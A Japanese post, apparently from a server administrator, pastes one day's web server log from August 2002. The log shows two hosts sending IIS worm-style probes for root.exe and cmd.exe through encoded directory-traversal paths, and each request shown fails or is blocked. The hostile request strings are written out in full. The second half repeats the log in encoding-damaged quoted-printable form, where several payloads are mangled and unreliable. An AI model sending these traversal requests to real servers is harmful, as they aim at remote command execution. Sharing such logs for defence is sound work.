一日でこれだけのアタックです。

2002/08/01(14:02:02) W-SV 61.241.158.210 [80] 404 248 "GET
/scripts/root.exe?/c+dir HTTP/1.0"
2002/08/01(14:02:06) W-SV 61.241.158.210 [80] 404 246 "GET
/MSADC/root.exe?/c+dir HTTP/1.0"
2002/08/01(14:02:09) W-SV 61.241.158.210 [80] 404 256 "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:02:10) W-SV 61.241.158.210 [80] 404 256 "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:02:11) W-SV 61.241.158.210 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.241.158.210
"/scripts/..%5c../winnt/system32/cmd.exe" ]"
2002/08/01(14:02:13) W-SV 61.241.158.210 [80] 500 273 "GET
/scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:02:17) W-SV 61.241.158.210 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.241.158.210
"/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe" ]"
2002/08/01(14:02:17) W-SV 61.241.158.210 [80] 500 290 "GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:02:18) W-SV 61.241.158.210 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.241.158.210
"/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe" ]"
2002/08/01(14:02:18) W-SV 61.241.158.210 [80] 500 290 "GET
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:02:19) W-SV 61.241.158.210 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.241.158.210 "/msadc/..%5c../..%5c../..%5c/..チ
../..チ../..チ../winnt/system32/cmd.exe" ]"
2002/08/01(14:02:19) W-SV 61.241.158.210 [80] 500 306 "GET
/msadc/..%5c../..%5c../..%5c/..チ../..チ../..チ
../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:02:20) W-SV 61.241.158.210 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.241.158.210 "/scripts/..チ
../winnt/system32/cmd.exe" ]"
2002/08/01(14:02:20) W-SV 61.241.158.210 [80] 500 272 "GET /scripts/..チ
../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:02:21) W-SV 61.241.158.210 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.241.158.210 "/scripts/..タ
/../winnt/system32/cmd.exe" ]"
2002/08/01(14:02:21) W-SV 61.241.158.210 [80] 500 272 "GET /scripts/..タ
/../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:02:21) W-SV 61.241.158.210 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.241.158.210 "/scripts/..タッ
../winnt/system32/cmd.exe" ]"
2002/08/01(14:02:21) W-SV 61.241.158.210 [80] 500 272 "GET /scripts/..タッ
../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:02:25) W-SV 61.241.158.210 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.241.158.210 "/scripts/..チ・
./winnt/system32/cmd.exe" ]"
2002/08/01(14:02:26) W-SV 61.241.158.210 [80] 500 272 "GET /scripts/..チ・
./winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:02:30) W-SV 61.241.158.210 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.241.158.210
"/scripts/..s5c../winnt/system32/cmd.exe" ]"
2002/08/01(14:02:30) W-SV 61.241.158.210 [80] 500 273 "GET
/scripts/..S5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:02:31) W-SV 61.241.158.210 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.241.158.210
"/scripts/..s5c../winnt/system32/cmd.exe" ]"
2002/08/01(14:02:31) W-SV 61.241.158.210 [80] 500 273 "GET
/scripts/..S5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:02:32) W-SV 61.241.158.210 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.241.158.210
"/scripts/..%5c../winnt/system32/cmd.exe" ]"
2002/08/01(14:02:32) W-SV 61.241.158.210 [80] 500 273 "GET
/scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:02:36) W-SV 61.241.158.210 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.241.158.210
"/scripts/..%2f../winnt/system32/cmd.exe" ]"
2002/08/01(14:02:36) W-SV 61.241.158.210 [80] 500 273 "GET
/scripts/..%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:16:23) W-SV 61.33.168.236 [80] 404 248 "GET
/scripts/root.exe?/c+dir HTTP/1.0"
2002/08/01(14:16:33) W-SV 61.33.168.236 [80] 404 246 "GET
/MSADC/root.exe?/c+dir HTTP/1.0"
2002/08/01(14:16:43) W-SV 61.33.168.236 [80] 404 256 "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:16:44) W-SV 61.33.168.236 [80] 404 256 "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:16:47) W-SV 61.33.168.236 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.33.168.236
"/scripts/..%5c../winnt/system32/cmd.exe" ]"
2002/08/01(14:16:47) W-SV 61.33.168.236 [80] 500 273 "GET
/scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:16:47) W-SV 61.33.168.236 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.33.168.236
"/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe" ]"
2002/08/01(14:16:47) W-SV 61.33.168.236 [80] 500 290 "GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:16:48) W-SV 61.33.168.236 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.33.168.236
"/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe" ]"
2002/08/01(14:16:48) W-SV 61.33.168.236 [80] 500 290 "GET
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:16:48) W-SV 61.33.168.236 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.33.168.236 "/msadc/..%5c../..%5c../..%5c/..チ
../..チ../..チ../winnt/system32/cmd.exe" ]"
2002/08/01(14:16:48) W-SV 61.33.168.236 [80] 500 306 "GET
/msadc/..%5c../..%5c../..%5c/..チ../..チ../..チ
../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:16:49) W-SV 61.33.168.236 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.33.168.236 "/scripts/..チ
../winnt/system32/cmd.exe" ]"
2002/08/01(14:16:49) W-SV 61.33.168.236 [80] 500 272 "GET /scripts/..チ
../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:16:49) W-SV 61.33.168.236 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.33.168.236 "/scripts/..タ
/../winnt/system32/cmd.exe" ]"
2002/08/01(14:16:49) W-SV 61.33.168.236 [80] 500 272 "GET /scripts/..タ
/../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:16:59) W-SV 61.33.168.236 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.33.168.236 "/scripts/..タッ
../winnt/system32/cmd.exe" ]"
2002/08/01(14:16:59) W-SV 61.33.168.236 [80] 500 272 "GET /scripts/..タッ
../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:16:59) W-SV 61.33.168.236 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.33.168.236 "/scripts/..チ・
./winnt/system32/cmd.exe" ]"
2002/08/01(14:16:59) W-SV 61.33.168.236 [80] 500 272 "GET /scripts/..チ・
./winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:17:00) W-SV 61.33.168.236 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.33.168.236
"/scripts/..s5c../winnt/system32/cmd.exe" ]"
2002/08/01(14:17:00) W-SV 61.33.168.236 [80] 500 273 "GET
/scripts/..S5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:17:03) W-SV 61.33.168.236 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.33.168.236
"/scripts/..s5c../winnt/system32/cmd.exe" ]"
2002/08/01(14:17:03) W-SV 61.33.168.236 [80] 500 273 "GET
/scripts/..S5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:17:03) W-SV 61.33.168.236 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.33.168.236
"/scripts/..%5c../winnt/system32/cmd.exe" ]"
2002/08/01(14:17:03) W-SV 61.33.168.236 [80] 500 273 "GET
/scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:17:04) W-SV 61.33.168.236 [80]  E200035 " .. が含まれるリクエ
ストは許可されていません。[ 61.33.168.236
"/scripts/..%2f../winnt/system32/cmd.exe" ]"
2002/08/01(14:17:04) W-SV 61.33.168.236 [80] 500 273 "GET
/scripts/..%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
2002/08/01(14:36:41) W-SV 211.120.191.35 [80] 200 6101 "GET /yybbs/yybbs.cgi
HTTP/1.0"



2002/08/01(14:02:02) W-SV =
61.241.158.210=20
[80] 404 248 "GET /scripts/root.exe?/c+dir =
HTTP/1.0"<BR>2002/08/01(14:02:06)=20
W-SV 61.241.158.210 [80] 404 246 "GET /MSADC/root.exe?/c+dir=20
HTTP/1.0"<BR>2002/08/01(14:02:09) W-SV 61.241.158.210 [80] 404 256 "GET=20
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"<BR>2002/08/01(14:02:10) W-SV=20
61.241.158.210 [80] 404 256 "GET /d/winnt/system32/cmd.exe?/c+dir=20
HTTP/1.0"<BR>2002/08/01(14:02:11) W-SV 61.241.158.210 [80]&nbsp; E200035 =
" ..=20
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[ 61.241.158.210 =
"/scripts/..%5c../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:02:13) W-SV 61.241.158.210 [80] 500 273 "GET=20
/scripts/..%5c../winnt/system32/cmd.exe?/c+dir =
HTTP/1.0"<BR>2002/08/01(14:02:17)=20
W-SV 61.241.158.210 [80]&nbsp; E200035 " .. =
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[=20
61.241.158.210 =
"/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:02:17) W-SV 61.241.158.210 [80] 500 290 "GET=20
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir=20
HTTP/1.0"<BR>2002/08/01(14:02:18) W-SV 61.241.158.210 [80]&nbsp; E200035 =
" ..=20
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[ 61.241.158.210=20
"/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:02:18) W-SV 61.241.158.210 [80] 500 290 "GET=20
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir=20
HTTP/1.0"<BR>2002/08/01(14:02:19) W-SV 61.241.158.210 [80]&nbsp; E200035 =
" ..=20
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[ 61.241.158.210=20
"/msadc/..%5c../..%5c../..%5c/..=1B$B%A=1B(B=1C../..=1B$B%A=1B(B=1C../..=1B=
$B%A=1B(B=1C../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:02:19) W-SV 61.241.158.210 [80] 500 306 "GET=20
/msadc/..%5c../..%5c../..%5c/..=1B$B%A=1B(B=1C../..=1B$B%A=1B(B=1C../..=1B=
$B%A=1B(B=1C../winnt/system32/cmd.exe?/c+dir=20
HTTP/1.0"<BR>2002/08/01(14:02:20) W-SV 61.241.158.210 [80]&nbsp; E200035 =
" ..=20
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[ 61.241.158.210 =
"/scripts/..=1B$B%A=1B(B=1C../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:02:20) W-SV 61.241.158.210 [80] 500 272 "GET=20
/scripts/..=1B$B%A=1B(B=1C../winnt/system32/cmd.exe?/c+dir =
HTTP/1.0"<BR>2002/08/01(14:02:21)=20
W-SV 61.241.158.210 [80]&nbsp; E200035 " .. =
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[=20
61.241.158.210 "/scripts/..=1B$B%?=1B(B/../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:02:21) W-SV 61.241.158.210 [80] 500 272 "GET=20
/scripts/..=1B$B%?=1B(B/../winnt/system32/cmd.exe?/c+dir =
HTTP/1.0"<BR>2002/08/01(14:02:21)=20
W-SV 61.241.158.210 [80]&nbsp; E200035 " .. =
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[=20
61.241.158.210 "/scripts/..=1B$B%?%C=1B(B../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:02:21) W-SV 61.241.158.210 [80] 500 272 "GET=20
/scripts/..=1B$B%?%C=1B(B../winnt/system32/cmd.exe?/c+dir =
HTTP/1.0"<BR>2002/08/01(14:02:25)=20
W-SV 61.241.158.210 [80]&nbsp; E200035 " .. =
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[=20
61.241.158.210 "/scripts/..=1B$B%A!&=1B(B./winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:02:26) W-SV 61.241.158.210 [80] 500 272 "GET=20
/scripts/..=1B$B%A!&=1B(B./winnt/system32/cmd.exe?/c+dir =
HTTP/1.0"<BR>2002/08/01(14:02:30)=20
W-SV 61.241.158.210 [80]&nbsp; E200035 " .. =
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[=20
61.241.158.210 "/scripts/..s5c../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:02:30) W-SV 61.241.158.210 [80] 500 273 "GET=20
/scripts/..S5c../winnt/system32/cmd.exe?/c+dir =
HTTP/1.0"<BR>2002/08/01(14:02:31)=20
W-SV 61.241.158.210 [80]&nbsp; E200035 " .. =
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[=20
61.241.158.210 "/scripts/..s5c../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:02:31) W-SV 61.241.158.210 [80] 500 273 "GET=20
/scripts/..S5c../winnt/system32/cmd.exe?/c+dir =
HTTP/1.0"<BR>2002/08/01(14:02:32)=20
W-SV 61.241.158.210 [80]&nbsp; E200035 " .. =
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[=20
61.241.158.210 "/scripts/..%5c../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:02:32) W-SV 61.241.158.210 [80] 500 273 "GET=20
/scripts/..%5c../winnt/system32/cmd.exe?/c+dir =
HTTP/1.0"<BR>2002/08/01(14:02:36)=20
W-SV 61.241.158.210 [80]&nbsp; E200035 " .. =
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[=20
61.241.158.210 "/scripts/..%2f../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:02:36) W-SV 61.241.158.210 [80] 500 273 "GET=20
/scripts/..%2f../winnt/system32/cmd.exe?/c+dir =
HTTP/1.0"<BR>2002/08/01(14:16:23)=20
W-SV 61.33.168.236 [80] 404 248 "GET /scripts/root.exe?/c+dir=20
HTTP/1.0"<BR>2002/08/01(14:16:33) W-SV 61.33.168.236 [80] 404 246 "GET=20
/MSADC/root.exe?/c+dir HTTP/1.0"<BR>2002/08/01(14:16:43) W-SV =
61.33.168.236 [80]=20
404 256 "GET /c/winnt/system32/cmd.exe?/c+dir =
HTTP/1.0"<BR>2002/08/01(14:16:44)=20
W-SV 61.33.168.236 [80] 404 256 "GET /d/winnt/system32/cmd.exe?/c+dir=20
HTTP/1.0"<BR>2002/08/01(14:16:47) W-SV 61.33.168.236 [80]&nbsp; E200035 =
" ..=20
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[ 61.33.168.236 =
"/scripts/..%5c../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:16:47) W-SV 61.33.168.236 [80] 500 273 "GET=20
/scripts/..%5c../winnt/system32/cmd.exe?/c+dir =
HTTP/1.0"<BR>2002/08/01(14:16:47)=20
W-SV 61.33.168.236 [80]&nbsp; E200035 " .. =
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[ 61.33.168.236=20
"/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:16:47) W-SV 61.33.168.236 [80] 500 290 "GET=20
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir=20
HTTP/1.0"<BR>2002/08/01(14:16:48) W-SV 61.33.168.236 [80]&nbsp; E200035 =
" ..=20
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[ 61.33.168.236=20
"/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:16:48) W-SV 61.33.168.236 [80] 500 290 "GET=20
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir=20
HTTP/1.0"<BR>2002/08/01(14:16:48) W-SV 61.33.168.236 [80]&nbsp; E200035 =
" ..=20
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[ 61.33.168.236=20
"/msadc/..%5c../..%5c../..%5c/..=1B$B%A=1B(B=1C../..=1B$B%A=1B(B=1C../..=1B=
$B%A=1B(B=1C../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:16:48) W-SV 61.33.168.236 [80] 500 306 "GET=20
/msadc/..%5c../..%5c../..%5c/..=1B$B%A=1B(B=1C../..=1B$B%A=1B(B=1C../..=1B=
$B%A=1B(B=1C../winnt/system32/cmd.exe?/c+dir=20
HTTP/1.0"<BR>2002/08/01(14:16:49) W-SV 61.33.168.236 [80]&nbsp; E200035 =
" ..=20
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[ 61.33.168.236 =
"/scripts/..=1B$B%A=1B(B=1C../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:16:49) W-SV 61.33.168.236 [80] 500 272 "GET=20
/scripts/..=1B$B%A=1B(B=1C../winnt/system32/cmd.exe?/c+dir =
HTTP/1.0"<BR>2002/08/01(14:16:49)=20
W-SV 61.33.168.236 [80]&nbsp; E200035 " .. =
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[ 61.33.168.236=20
"/scripts/..=1B$B%?=1B(B/../winnt/system32/cmd.exe" =
]"<BR>2002/08/01(14:16:49) W-SV=20
61.33.168.236 [80] 500 272 "GET =
/scripts/..=1B$B%?=1B(B/../winnt/system32/cmd.exe?/c+dir=20
HTTP/1.0"<BR>2002/08/01(14:16:59) W-SV 61.33.168.236 [80]&nbsp; E200035 =
" ..=20
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[ 61.33.168.236 =
"/scripts/..=1B$B%?%C=1B(B../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:16:59) W-SV 61.33.168.236 [80] 500 272 "GET=20
/scripts/..=1B$B%?%C=1B(B../winnt/system32/cmd.exe?/c+dir =
HTTP/1.0"<BR>2002/08/01(14:16:59)=20
W-SV 61.33.168.236 [80]&nbsp; E200035 " .. =
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[ 61.33.168.236=20
"/scripts/..=1B$B%A!&=1B(B./winnt/system32/cmd.exe" =
]"<BR>2002/08/01(14:16:59) W-SV=20
61.33.168.236 [80] 500 272 "GET =
/scripts/..=1B$B%A!&=1B(B./winnt/system32/cmd.exe?/c+dir=20
HTTP/1.0"<BR>2002/08/01(14:17:00) W-SV 61.33.168.236 [80]&nbsp; E200035 =
" ..=20
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[ 61.33.168.236 =
"/scripts/..s5c../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:17:00) W-SV 61.33.168.236 [80] 500 273 "GET=20
/scripts/..S5c../winnt/system32/cmd.exe?/c+dir =
HTTP/1.0"<BR>2002/08/01(14:17:03)=20
W-SV 61.33.168.236 [80]&nbsp; E200035 " .. =
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[ 61.33.168.236=20
"/scripts/..s5c../winnt/system32/cmd.exe" ]"<BR>2002/08/01(14:17:03) =
W-SV=20
61.33.168.236 [80] 500 273 "GET =
/scripts/..S5c../winnt/system32/cmd.exe?/c+dir=20
HTTP/1.0"<BR>2002/08/01(14:17:03) W-SV 61.33.168.236 [80]&nbsp; E200035 =
" ..=20
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[ 61.33.168.236 =
"/scripts/..%5c../winnt/system32/cmd.exe"=20
]"<BR>2002/08/01(14:17:03) W-SV 61.33.168.236 [80] 500 273 "GET=20
/scripts/..%5c../winnt/system32/cmd.exe?/c+dir =
HTTP/1.0"<BR>2002/08/01(14:17:04)=20
W-SV 61.33.168.236 [80]&nbsp; E200035 " .. =
=1B$B$,4^$^$l$k%j%/%(%9%H$O5v2D$5$l$F$$$^$;$s!#=1B(B[ 61.33.168.236=20
"/scripts/..%2f../winnt/system32/cmd.exe" ]"<BR>2002/08/01(14:17:04) =
W-SV=20
61.33.168.236 [80] 500 273 "GET =
/scripts/..%2f../winnt/system32/cmd.exe?/c+dir=20